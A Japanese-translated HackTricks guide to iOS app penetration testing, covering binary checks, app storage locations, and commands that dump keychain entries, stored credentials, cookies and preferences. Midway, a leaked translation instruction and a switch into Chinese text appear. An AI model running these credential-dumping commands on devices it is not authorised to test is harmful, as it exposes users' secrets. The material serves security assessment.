hacktricks/mobile-pentesting/ios-pentesting
2023-09-24 15:28:04 +00:00
..
basic-ios-testing-operations.md Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat 2023-09-24 15:28:04 +00:00
burp-configuration-for-ios.md Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat 2023-09-24 15:28:04 +00:00
extracting-entitlements-from-compiled-application.md Translated to Japanese 2023-07-07 23:42:27 +00:00
frida-configuration-in-ios.md Translated ['backdoors/salseo.md', 'macos-hardening/macos-red-teaming/RE 2023-08-15 18:34:02 +00:00
ios-app-extensions.md Translated to Japanese 2023-07-07 23:42:27 +00:00
ios-basics.md Translated to Japanese 2023-07-07 23:42:27 +00:00
ios-custom-uri-handlers-deeplinks-custom-schemes.md Translated to Japanese 2023-07-07 23:42:27 +00:00
ios-hooking-with-objection.md Translated to Japanese 2023-07-07 23:42:27 +00:00
ios-protocol-handlers.md Translated to Japanese 2023-07-07 23:42:27 +00:00
ios-serialisation-and-encoding.md Translated to Japanese 2023-07-07 23:42:27 +00:00
ios-testing-environment.md Translated ['mobile-pentesting/ios-pentesting/README.md', 'mobile-pentes 2023-07-10 09:48:11 +00:00
ios-uiactivity-sharing.md Translated to Japanese 2023-07-07 23:42:27 +00:00
ios-uipasteboard.md Translated to Japanese 2023-07-07 23:42:27 +00:00
ios-universal-links.md Translated to Japanese 2023-07-07 23:42:27 +00:00
ios-webviews.md Translated to Japanese 2023-07-07 23:42:27 +00:00
README.md Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat 2023-09-24 15:28:04 +00:00

iOS Pentesting


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。
今すぐアクセスを取得:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

iOSの基礎

{% content-ref url="ios-basics.md" %} ios-basics.md {% endcontent-ref %}

テスト環境

このページでは、iOSシミュレータエミュレータ、およびジェイルブレイクに関する情報を見つけることができます。

{% content-ref url="ios-testing-environment.md" %} ios-testing-environment.md {% endcontent-ref %}

初期分析

基本的なiOSテスト操作

テスト中には、いくつかの操作が提案されます(デバイスへの接続、ファイルの読み書き/アップロード/ダウンロード、一部のツールの使用など)。したがって、これらのアクションのいずれかを実行する方法がわからない場合は、ページを読み始めてください

{% content-ref url="basic-ios-testing-operations.md" %} basic-ios-testing-operations.md {% endcontent-ref %}

{% hint style="info" %} 以下の手順では、アプリがデバイスにインストールされている必要があり、アプリケーションのIPAファイルをすでに取得している必要があります。
これを行う方法については、Basic iOS Testing Operationsページを参照してください。 {% endhint %}

基本的な静的分析

IPAファイルに対して自動的な静的分析を実行するために、ツールMobSFを使用することをお勧めします。

バイナリに存在する保護の識別

  • PIEPosition Independent Executable:有効にすると、アプリケーションは起動するたびにランダムなメモリアドレスにロードされるため、初期メモリアドレスを予測するのが困難になります。
otool -hv <app-binary> | grep PIE   # PIEフラグを含める必要があります
  • スタックキャナリー:スタックの整合性を検証するために、関数を呼び出す前にスタックに「キャナリー」値が配置され、関数が終了すると再度検証されます。
otool -I -v <app-binary> | grep stack_chk   # stack_chk_guardとstack_chk_failのシンボルを含める必要があります
  • ARCAutomatic Reference Counting:一般的なメモリ破損の欠陥を防ぐために
otool -I -v <app-binary> | grep objc_release   # _objc_releaseシンボルを含める必要があります
  • 暗号化されたバイナリ:バイナリは暗号化されている必要があります
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT   # cryptidは1である必要があります

機密/安全でない関数の識別

  • 弱いハッシュアルゴリズム
# iOSデバイス上で
otool -Iv <app> | grep -w "_CC_MD5"
otool -Iv <app> | grep -w "_CC_SHA1"

# Linux上で
grep -iER "_CC_MD5"
grep -iER "_CC_SHA1"
  • 安全でないランダム関数
# iOSデバイス上で
otool -Iv <app> | grep -w "_random"
otool -Iv <app> | grep -w "_srand"
otool -Iv <app> | grep -w "_rand"

# Linux上で
grep -iER "_random"
grep -iER "_srand"
grep -iER "_rand"
  • 安全でない「Malloc」関数
# iOSデバイス上で
otool -Iv <app> | grep -w "_malloc"

# Linux上で
grep -iER "_malloc"
  • 安全で脆弱な関数
# iOSデバイス上で
otool -Iv <app> | grep -w "_gets"
otool -Iv <app> | grep -w "_memcpy"
otool -Iv <app> | grep -w "_strncpy"
otool -Iv <app> | grep -w "_strlen"
otool -Iv <app> | grep -w "_vsnprintf"
otool -Iv <app> | grep -w "_sscanf"
otool -Iv <app> | grep -w "_strtok"
otool -Iv <app> | grep -w "_alloca"
otool -Iv <app> | grep -w "_sprintf"
otool -Iv <app> | grep -w "_printf"
otool -Iv <app> | grep -w "_vsprintf"

# Linux上で
grep -R "_gets"
grep -iER "_memcpy"
grep -iER "_strncpy"
grep -iER "_strlen"
grep -iER "_vsnprintf"
grep -iER "_sscanf"
grep -iER "_strtok"
grep -iER "_alloca"
grep -iER "_sprintf"
grep -iER "_printf"
grep -iER "_vsprintf"

基本的な動的解析

MobSFが実行する動的解析を確認してください。異なるビューをナビゲートし、それらと対話する必要がありますが、いくつかのクラスをフックして他の操作を行い、完了したらレポートを作成します。

インストールされたアプリのリスト表示

デバイスにインストールされているアプリを対象にする場合、まず分析したいアプリケーションの正しいバンドル識別子を特定する必要があります。frida-ps -Uaiを使用して、接続されたUSBデバイス-U)に現在インストールされている(-i)すべてのアプリ(-a)を取得できます。

$ frida-ps -Uai
PID  Name                 Identifier
----  -------------------  -----------------------------------------
6847  Calendar             com.apple.mobilecal
6815  Mail                 com.apple.mobilemail
-  App Store            com.apple.AppStore
-  Apple Store          com.apple.store.Jolly
-  Calculator           com.apple.calculator
-  Camera               com.apple.camera
-  iGoat-Swift          OWASP.iGoat-Swift

基本的な列挙とフック

アプリケーションのコンポーネントを列挙する方法と、簡単にメソッドとクラスをフックする方法を学びましょう。objectionを使用してください。

{% content-ref url="ios-hooking-with-objection.md" %} ios-hooking-with-objection.md {% endcontent-ref %}

IPAの構造

.ipaファイルは圧縮されたパッケージですので、拡張子を.zipに変更して解凍することができます。インストールする準備ができた完全なパッケージ化されたアプリは一般的にバンドルと呼ばれます。
解凍すると、<NAME>.appという名前のフォルダが表示され、その中に他のリソースが含まれています。

  • Info.plist: アプリケーション固有の設定を含むファイルです。
  • _CodeSignature/: バンドル内のすべてのファイルに対する署名を含むplistファイルが含まれています。
  • Assets.car: アイコンなどのアセットが含まれる別の圧縮されたアーカイブです。
  • Frameworks/: .dylibまたは.frameworkファイルとしてのアプリのネイティブライブラリが含まれています。
  • PlugIns/: .appexファイルとしてのアプリの拡張機能が含まれている場合があります例では表示されません
  • Core Data: オフラインでアプリケーションの永続的なデータを保存し、一時的なデータをキャッシュし、アプリケーションの単一のデバイス上でアンドゥ機能を追加するために使用されます。単一のiCloudアカウント内の複数のデバイス間でデータを同期するために、Core Dataはスキーマを自動的にCloudKitコンテナにミラーリングします。
  • PkgInfo: PkgInfoファイルは、アプリケーションまたはバンドルのタイプと作成者コードを指定する別の方法です。
  • en.lproj, fr.proj, Base.lproj: これらは、特定の言語のリソースと、言語がサポートされていない場合のデフォルトリソースを含む言語パックです。

iOSアプリケーションでUIを定義するための複数の方法があります: storyboard, _nib_または_xib_ファイルです。

Info.plist

情報プロパティリストまたはInfo.plistは、iOSアプリの情報の主要な情報源です。アプリの重要な設定情報を記述した、キーと値のペアを含む構造化ファイルで構成されています。実際には、すべてのバンドルされた実行可能ファイルアプリ拡張、フレームワーク、アプリには必ずInfo.plistファイルがあることが期待されています。すべての可能なキーについては、Apple Developer Documentationを参照してください。

ファイルは**XMLまたはバイナリbplist**でフォーマットされている場合があります。次の単純なコマンドを使用して、XML形式に変換できます。

  • macOSの場合は、macOS 10.2以降のバージョンにネイティブに付属しているツールであるplutilを使用します(公式のオンラインドキュメントは現在利用できません):
$ plutil -convert xml1 Info.plist
  • Linuxの場合:
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist

以下は、Info.plistファイルで簡単に検索できるいくつかの情報と対応するキーワードの非網羅的なリストです。ファイルを調査するか、grep -i <keyword> Info.plistを使用して検索できます。

  • アプリの許可目的の文字列: UsageDescription
  • カスタムURLスキーム: CFBundleURLTypes
  • エクスポート/インポートされたカスタムドキュメントタイプ: UTExportedTypeDeclarations / UTImportedTypeDeclarations
  • アプリトランスポートセキュリティATSの設定: NSAppTransportSecurity

これらのポイントをテストする方法については、該当する章を参照してください。

データパス

iOSでは、**システムアプリケーションは/Applicationsディレクトリにあり、ユーザーがインストールしたアプリは/private/var/containers/**以下で利用できます。ただし、ファイルシステムをナビゲートして適切なフォルダを見つけることは簡単なタスクではありません。なぜなら、**すべてのアプリにはランダムな128ビットUUIDユニバーサルユニーク識別子**が割り当てられ、ディレクトリ名に使用されるからです。

ユーザーがインストールしたアプリのインストールディレクトリ情報を簡単に取得するために、objectionのコマンドenvを使用することもできます。これにより、アプリのすべてのディレクトリ情報が表示されます。

OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env

Name               Path
-----------------  -------------------------------------------------------------------------------------------
BundlePath         /var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
CachesDirectory    /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library/Caches
DocumentDirectory  /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory   /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library

以下は、モバイルペンテスト/iosペンテスト/README.mdファイルからのコンテンツです。関連する英語のテキストを日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文を完全に保持してください。コード、ハッキング技術の名前、ハッキング用語、クラウド/SaaSプラットフォームの名前Workspace、aws、gcpなど、'leak'という単語、ペンテスト、マークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加の要素は追加しないでください。

如您所见,应用程序有两个主要位置:

* **Bundle** **directory** (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/`)。
* **Data directory** (`/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/`)。

这些文件夹包含在应用程序安全评估期间必须仔细检查的信息(例如分析存储的敏感数据时)。

**Bundle directory:**

* **AppName.app**
* 这是之前在IPA中看到的应用程序包它包含了必要的应用程序数据、静态内容以及应用程序的编译二进制文件。
* 此目录对用户可见,但**用户无法写入**。
* 此目录中的内容**不会备份**。
* 此文件夹的内容用于**验证代码签名**。

**Data directory:**

* **Documents/**
* 包含所有用户生成的数据。应用程序最终用户启动了此数据的创建。
* 对用户可见,**用户可以写入**。
* 此目录中的内容**会备份**。
* 应用程序可以通过设置`NSURLIsExcludedFromBackupKey`来禁用路径。
* **Library/**
* 包含所有**非用户特定**的文件,例如**缓存**、**首选项**、**Cookie**和属性列表plist配置文件。
* iOS应用程序通常使用`Application Support`和`Caches`子目录,但应用程序可以创建自定义子目录。
* **Library/Caches/**
* 包含**半持久性缓存文件**。
* 对用户不可见,**用户无法写入**。
* 此目录中的内容**不会备份**。
* 当应用程序未运行且存储空间不足时,操作系统可能会自动删除此目录中的文件。
* **Library/Application Support/**
* 包含运行应用程序所需的**持久性文件**。
* 对用户**不可见**,用户无法写入。
* 此目录中的内容**会备份**。
* 应用程序可以通过设置`NSURLIsExcludedFromBackupKey`来禁用路径。
* **Library/Preferences/**
* 用于存储可以在应用程序重新启动后**持久存在**的属性。
* 信息以未加密的形式保存在应用程序沙箱中的名为\[BUNDLE\_ID].plist的plist文件中。
* 使用`NSUserDefaults`存储的所有键/值对都可以在此文件中找到。
* **tmp/**
* 使用此目录来写入**不需要在应用程序启动之间持久存在**的临时文件。
* 包含非持久性缓存文件。
* 对用户**不可见**。
* 此目录中的内容不会备份。
* 当应用程序未运行且存储空间不足时,操作系统可能会自动删除此目录中的文件。

让我们仔细查看Bundle目录`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`中的iGoat-Swift的应用程序包.app目录
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType      Perms  NSFileProtection    ...  Name
------------  -------  ------------------  ...  --------------------------------------
Regular           420  None                ...  rutger.html
Regular           420  None                ...  mansi.html
Regular           420  None                ...  splash.html
Regular           420  None                ...  about.html

Regular           420  None                ...  LICENSE.txt
Regular           420  None                ...  Sentinel.txt
Regular           420  None                ...  README.txt

バイナリリバースエンジニアリング

<application-name>.app フォルダの中には <application-name> という名前のバイナリファイルがあります。これが実行されるファイルです。ツール otool を使用してバイナリの基本的な検査を行うことができます。

otool -Vh DVIA-v2 #Check some compilation attributes
magic  cputype cpusubtype  caps    filetype ncmds sizeofcmds      flags
MH_MAGIC_64    ARM64        ALL  0x00     EXECUTE    65       7112   NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE

otool -L DVIA-v2 #Get third party libraries
DVIA-v2:
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0)
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11)
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
[...]

アプリが暗号化されているか確認する

次のコマンドを実行して、出力があるか確認してください:

otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO

バイナリの逆アセンブル

テキストセクションを逆アセンブルします:

otool -tV DVIA-v2
DVIA-v2:
(__TEXT,__text) section
+[DDLog initialize]:
0000000100004ab8    sub    sp, sp, #0x60
0000000100004abc    stp    x29, x30, [sp, #0x50]   ; Latency: 6
0000000100004ac0    add    x29, sp, #0x50
0000000100004ac4    sub    x8, x29, #0x10
0000000100004ac8    mov    x9, #0x0
0000000100004acc    adrp    x10, 1098 ; 0x10044e000
0000000100004ad0    add    x10, x10, #0x268

サンプルアプリケーションのObjective-Cセグメントを出力するには、次のコマンドを使用します:

otool -oV DVIA-v2
DVIA-v2:
Contents of (__DATA,__objc_classlist) section
00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog
isa        0x1004423a8 _OBJC_METACLASS_$_DDLog
superclass 0x0 _OBJC_CLASS_$_NSObject
cache      0x0 __objc_empty_cache
vtable     0x0
data       0x1003de748
flags          0x80
instanceStart  8

よりコンパクトなObjective-Cコードを取得するためには、class-dumpを使用することができます。

class-dump some-app
//
//     Generated by class-dump 3.5 (64 bit).
//
//     class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//

#pragma mark Named Structures

struct CGPoint {
double _field1;
double _field2;
};

struct CGRect {
struct CGPoint _field1;
struct CGSize _field2;
};

struct CGSize {
double _field1;
double _field2;
};

ただし、バイナリを逆アセンブルするための最良のオプションは、HopperIDAです。


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスを取得:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

データの保存

iOSがデバイスにデータを保存する方法については、次のページを参照してください

{% content-ref url="ios-basics.md" %} ios-basics.md {% endcontent-ref %}

{% hint style="warning" %} 次の情報の保存場所は、アプリケーションのインストール直後、アプリケーションのすべての機能を確認した後、さらには1つのユーザーからログアウトして別のユーザーにログインした後にチェックする必要があります。
目標は、アプリケーション(パスワード、トークン)、現在のユーザー、以前にログインしたユーザーの保護されていない機密情報を見つけることです。 {% endhint %}

Plist

plistファイルは、キーと値のペアを含む構造化されたXMLファイルです。これは永続的なデータを保存する方法であり、したがって、これらのファイルには機密情報が含まれている場合があります。アプリをインストールした後や、アプリを集中的に使用した後にこれらのファイルをチェックして、新しいデータが書き込まれているかどうかを確認することが推奨されます。

plistファイルにデータを永続化する最も一般的な方法は、NSUserDefaultsの使用です。このplistファイルは、**Library/Preferences/<appBundleID>.plist**の中にアプリのサンドボックス内に保存されます。

NSUserDefaultsクラスは、デフォルトのシステムとのプログラム的なインターフェースを提供します。デフォルトのシステムにより、アプリケーションはユーザーの設定に応じて動作をカスタマイズすることができます。NSUserDefaultsに保存されたデータは、アプリケーションバンドル内で表示することができます。このクラスはデータをplistファイルに保存しますが、少量のデータと一緒に使用することを意図しています。

このデータは、信頼できるコンピュータから直接アクセスすることはできませんが、バックアップを実行することでアクセスすることができます。

NSUserDefaultsを使用して保存された情報をダンプするには、objectionのios nsuserdefaults getを使用します。

アプリケーションが使用するすべてのplistを見つけるには、/private/var/mobile/Containers/Data/Application/{APPID}にアクセスして次のコマンドを実行します:

find ./ -name "*.plist"

ファイルは**XMLまたはバイナリbplist**形式でフォーマットされている可能性があります。次の単純なコマンドを使用して、XML形式に変換できます

  • macOSでは、plutilを使用します。これはmacOS 10.2以降のバージョンにネイティブに付属しているツールです(公式のオンラインドキュメントは現在利用できません):
$ plutil -convert xml1 Info.plist
  • Linuxでは
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
  • objectionのセッションで
ios plist cat /private/var/mobile/Containers/Data/Application/AF1F534B-1B8F-0825-ACB21-C0301AB7E56D/Library/Preferences/com.some.package.app.plist

Core Data

Core Dataは、アプリケーションのモデルレイヤーを管理するためのフレームワークです。Core Dataは永続ストアとしてSQLiteを使用することができますが、フレームワーク自体はデータベースではありません。
CoreDataはデフォルトではデータを暗号化しません。ただし、追加の暗号化レイヤーをCoreDataに追加することもできます。詳細については、GitHubリポジトリを参照してください。

アプリケーションのSQLite Core Data情報は、パス/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Supportにあります。

SQLiteを開いて機密情報にアクセスできる場合、設定ミスを見つけたことになります。

{% code title="iGoatからのコード" %}

-(void)storeDetails {
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);

NSManagedObjectContext *context =[appDelegate managedObjectContext];

User *user = [self fetchUser];
if (user) {
return;
}
user = [NSEntityDescription insertNewObjectForEntityForName:@"User"
inManagedObjectContext:context];
user.email = CoreDataEmail;
user.password = CoreDataPassword;
NSError *error;
if (![context save:&error]) {
NSLog(@"Error in saving data: %@", [error localizedDescription]);

}else{
NSLog(@"data stored in core data");
}
}

{% endcode %}

YapDatabase

YapDatabaseはSQLiteの上に構築されたキー/値ストアです。
YapデータベースはSQLiteデータベースなので、前のセクションで説明した方法で見つけることができます。

その他のSQLiteデータベース

アプリケーションが独自のSQLiteデータベースを作成することは一般的です。それらには機密データが保存されており、暗号化されていない状態で残されている可能性があります。そのため、アプリケーションディレクトリ内のすべてのデータベースをチェックすることは常に興味深いです。したがって、データが保存されているアプリケーションディレクトリに移動します (/private/var/mobile/Containers/Data/Application/{APPID})

find ./ -name "*.sqlite" -or -name "*.db"

Firebaseリアルタイムデータベース

アプリケーション開発者は、NoSQLクラウドホストされたデータベースとのデータの保存と同期にFirebaseリアルタイムデータベースを利用することができます。データはJSONとして保存され、リアルタイムで接続されたすべてのクライアントに同期され、アプリケーションがオフラインになっても利用可能です。

ミス構成されたFirebaseデータベースをチェックする方法はこちらで見つけることができます

{% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %} firebase-database.md {% endcontent-ref %}

Realmデータベース

Realm Objective-CRealm SwiftはAppleによって提供されていませんが、それらは注目に値します。暗号化が有効になっていない限り、すべてのデータが暗号化されずに保存されます

これらのデータベースは/private/var/mobile/Containers/Data/Application/{APPID}に見つけることができます。

iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
default.realm  default.realm.lock  default.realm.management/  default.realm.note|

$ find ./ -name "*.realm*"

このデータベースファイルを開くために、Realm Studioというツールを使用することができます。

以下の例は、Realmデータベースで暗号化を使用する方法を示しています:

// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
let config = Realm.Configuration(encryptionKey: getKey())
do {
let realm = try Realm(configuration: config)
// Use the Realm as normal
} catch let error as NSError {
// If the encryption key is wrong, `error` will say that it's an invalid database
fatalError("Error opening realm: \(error)")
}

Couchbase Lite データベース

Couchbase Liteは、軽量で埋め込み型のドキュメント指向NoSQLデータベースエンジンであり、同期が可能です。iOSおよびmacOS向けにネイティブにコンパイルされます。

/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/にある可能性のあるCouchbaseデータベースをチェックしてください。

クッキー

iOSはアプリのクッキーを各アプリのフォルダ内の**Library/Cookies/cookies.binarycookiesに保存します。ただし、開発者は時々、バックアップでアクセスできるという理由で、これらをキーチェーン**に保存することを選択することもあります。

クッキーファイルを調査するには、このPythonスクリプトを使用するか、objectionの**ios cookies get**を使用できます。
これらのファイルをJSON形式に変換してデータを調査するためにも、objectionを使用することもできます。

...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
[
{
"domain": "highaltitudehacks.com",
"expiresDate": "2051-09-15 07:46:43 +0000",
"isHTTPOnly": "false",
"isSecure": "false",
"name": "username",
"path": "/",
"value": "admin123",
"version": "0"
}
]

キャッシュ

デフォルトでは、NSURLSessionはHTTPリクエストとレスポンスをCache.dbデータベースに保存します。このデータベースには、トークン、ユーザー名、またはその他の機密情報がキャッシュされている場合、機密データが含まれている可能性があります。キャッシュされた情報を見つけるには、アプリのデータディレクトリ(/var/mobile/Containers/Data/Application/<UUID>)を開き、/Library/Caches/<Bundle Identifier>に移動します。WebKitキャッシュもCache.dbファイルに保存されています。Objectionは、sqlite connect Cache.dbコマンドを使用してデータベースを開いて操作することができます。これは通常のSQLiteデータベースです。

リクエストまたはレスポンスに機密情報が含まれている可能性があるため、このデータのキャッシュを無効にすることが推奨されています。以下のリストは、これを実現するためのさまざまな方法を示しています:

  1. ログアウト後にキャッシュされたレスポンスを削除することをお勧めします。これは、Appleが提供するremoveAllCachedResponsesというメソッドを使用して行うことができます。次のようにこのメソッドを呼び出すことができます:

URLCache.shared.removeAllCachedResponses()

このメソッドは、Cache.dbファイルからすべてのキャッシュされたリクエストとレスポンスを削除します。 2. クッキーの利点を使用する必要がない場合は、URLSessionの.ephemeral構成プロパティを使用することをお勧めします。これにより、クッキーとキャッシュの保存が無効になります。

Appleのドキュメント

ephemeralセッション構成オブジェクトは、デフォルトのセッション構成defaultを参照と似ていますが、対応するセッションオブジェクトはキャッシュ、資格情報ストア、またはディスク上のセッション関連データを保存しません。代わりに、セッション関連のデータはRAMに保存されます。ephemeralセッションがデータをディスクに書き込む唯一の場合は、URLの内容をファイルに書き込むように指示した場合です。 3. キャッシュは、キャッシュポリシーを.notAllowedに設定することで無効にすることもできます。これにより、キャッシュがメモリまたはディスクに保存されなくなります。

スナップショット

ホームボタンを押すたびに、iOSは現在の画面のスナップショットを撮影し、アプリケーションへの遷移をよりスムーズに行うために使用します。ただし、現在の画面に機密データが含まれている場合、それは画像に保存されます(これは再起動を超えて永続化されます)。これらのスナップショットは、ホーム画面をダブルタップしてアプリ間を切り替えることでアクセスすることもできます。

iPhoneがジェイルブレイクされていない限り、攻撃者はこれらのスクリーンショットを見るためには、デバイスにアクセスするためのブロック解除が必要です。デフォルトでは、最後のスナップショットはアプリのサンドボックス内のLibrary/Caches/Snapshots/またはLibrary/SplashBoard/Snapshotsフォルダに保存されます信頼されたコンピュータはiOS 7.0以降ではファイルシステムにアクセスできません)。

この問題を防ぐ方法の一つは、スナップショットを撮る前に空白の画面を表示するか、機密データを削除することです。これはApplicationDidEnterBackground()関数を使用して行うことができます。

以下は、デフォルトのスクリーンショットを設定するサンプルの修正方法です。

Swift:

private var backgroundImage: UIImageView?

func applicationDidEnterBackground(_ application: UIApplication) {
let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage"))
myBanner.frame = UIScreen.main.bounds
backgroundImage = myBanner
window?.addSubview(myBanner)
}

func applicationWillEnterForeground(_ application: UIApplication) {
backgroundImage?.removeFromSuperview()
}

Objective-Cオブジェクティブ-C

@property (UIImageView *)backgroundImage;

- (void)applicationDidEnterBackground:(UIApplication *)application {
UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"];
self.backgroundImage = myBanner;
self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.window addSubview:myBanner];
}

- (void)applicationWillEnterForeground:(UIApplication *)application {
[self.backgroundImage removeFromSuperview];
}

この設定は、アプリケーションがバックグラウンドになったときに背景画像をoverlayImage.pngに設定します。overlayImage.pngは常に現在のビューを上書きするため、機密データの漏洩を防ぎます。

キーチェーン

Keychain-Dumperのようなツールを使用してキーチェーンをダンプすることができます(デバイスはジェイルブレイクされている必要があります)。
また、Objectionios keychain dumpも使用できます。

NSURLCredential

NSURLCredentialは、ユーザー名とパスワードをキーチェーンに保存するための完璧なクラスです。NSUserDefaultsやキーチェーンラッパーを使用する必要はありません。
ユーザーがログインしたら、彼のユーザー名とパスワードをキーチェーンに保存することができます。

NSURLCredential *credential;

credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];

Objectionの ios nsurlcredentialstorage dump を使用して、これらの秘密情報をダンプすることができます。

カスタムキーボード/キーボードキャッシュ

iOS 8.0以降、AppleはカスタムキーボードなどのiOS用のカスタム拡張機能のインストールを許可しています。
インストールされたキーボードは、設定 > 一般 > キーボード > キーボード から管理できます。
カスタムキーボードは、キーストロークスニフィングして、それらを攻撃者のサーバーに送信することができます。ただし、ネットワーキング接続が必要なカスタムキーボードはユーザーに通知されます。
また、ユーザーは別の(より信頼性の高い)キーボードに切り替えて資格情報を入力することができます。

さらに、アプリケーションは、アプリ内でカスタムキーボードの使用を制限することができます(または少なくともアプリの重要な部分では制限することができます)。

{% hint style="warning" %} ユーザーがそれらを必要としないと考える場合、サードパーティのキーボードを許可しないことをお勧めします。 {% endhint %}

オートコレクトとオートサジェストのため、デフォルトのiOSキーボードは、属性secureTextEntrytrueに設定されていない場合、またはautoCorrectionTypeUITextAutoCorrectionTypeNoに設定されていない場合、各非標準単語をキャッシュファイルにキャプチャして保存します。

デフォルトでは、キーボードはLibrary/Keyboard/{locale}-dynamic-text.datファイルまたは/private/var/mobile/Library/Keyboard/dynamic-text.datにこのキャッシュを保存しますが、他の場所に保存されている可能性もあります。
キャッシュをリセットするには、設定 > 一般 > リセット > キーボード辞書をリセット に移動します。

{% hint style="info" %} したがって、これらのファイルを常にチェックし、可能な機密情報を検索してください。
ネットワークトラフィックを傍受することは、カスタムキーボードがキーストロークをリモートサーバーに送信しているかどうかを確認する別の方法です。 {% endhint %}

キーボードキャッシュには、UITextInputTraitsプロトコルが使用されます。UITextField、UITextView、およびUISearchBarクラスは、このプロトコルを自動的にサポートし、次のプロパティを提供します。

  • var autocorrectionType: UITextAutocorrectionTypeは、入力中にオートコレクションが有効かどうかを決定します。オートコレクションが有効な場合、テキストオブジェクトは未知の単語を追跡し、適切な置換を提案します。ユーザーが置換をオーバーライドしない限り、入力されたテキストを自動的に置換します。このプロパティのデフォルト値はUITextAutocorrectionTypeDefaultであり、ほとんどの入力方法ではオートコレクションが有効になります。
  • var secureTextEntry: BOOLは、UITextFieldに対してテキストのコピーとテキストのキャッシュが無効になり、入力されているテキストが非表示になるかどうかを決定します。このプロパティのデフォルト値はNOです。

コードでこの動作を特定するには:

  • 類似の実装を持つソースコードを検索し、
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;
  • XcodeのInterface Builderでxibとstoryboardファイルを開き、適切なオブジェクトのAttributes InspectorSecure Text EntryCorrectionの状態を確認します。

アプリケーションは、テキストフィールドに入力された機密情報のキャッシュを防止する必要があります。キャッシュを無効にするには、textObject.autocorrectionType = UITextAutocorrectionTypeNoの指示を使用して、必要なUITextFields、UITextViews、およびUISearchBarsでプログラム的に無効にします。PINやパスワードなどのマスクする必要があるデータに対しては、textObject.secureTextEntryYESに設定します。

UITextField *textField = [ [ UITextField alloc ] initWithFrame: frame ];
textField.autocorrectionType = UITextAutocorrectionTypeNo;

ログ

コードをデバッグする最も一般的な方法は、ログを使用することであり、アプリケーションはログ内に機密情報を表示する可能性があります
iOSバージョン6以前では、ログはワールドリーダブルでした悪意のあるアプリは他のアプリのログを読み取り、そこから機密情報を抽出することができました現在では、アプリは自分自身のログにのみアクセスできます

ただし、アンロックされたデバイスに物理的なアクセス権限を持つ攻撃者は、それをコンピュータに接続し、ログを読み取ることができます(アプリがアンインストールされても、アプリによってディスクに書き込まれたログは削除されません)。

アプリのすべての画面をナビゲートし、すべてのUI要素と機能とやり取りし、すべてのテキストフィールドに入力テキストを提供し、ログを確認して公開された機密情報を探すことが推奨されます。

以下のキーワードを使用して、アプリのソースコードを事前定義およびカスタムのログステートメントをチェックします:

  • 事前定義および組み込み関数:
  • NSLog
  • NSAssert
  • NSCAssert
  • fprintf
  • カスタム関数:
  • Logging
  • Logfile

システムログのモニタリング

多くのアプリは、情報(および潜在的に機密性の高い)メッセージをコンソールログに記録します。ログにはクラッシュレポートやその他の有用な情報も含まれています。

次のツールを使用できます:

idevice_id --list   # To find the device ID
idevicesyslog -u <id> (| grep <app>)   # To get the device logs

Xcodeのデバイスウィンドウを通じてコンソールログを収集する方法は次のとおりです:

  1. Xcodeを起動します。
  2. ホストコンピュータにデバイスを接続します。
  3. ウィンドウ -> デバイスとシミュレータを選択します。
  4. デバイスウィンドウの左側のセクションで接続されたiOSデバイスをクリックします。
  5. 問題を再現します。
  6. デバイスウィンドウの右上にあるコンソールを開くボタンをクリックして、別のウィンドウでコンソールログを表示します。

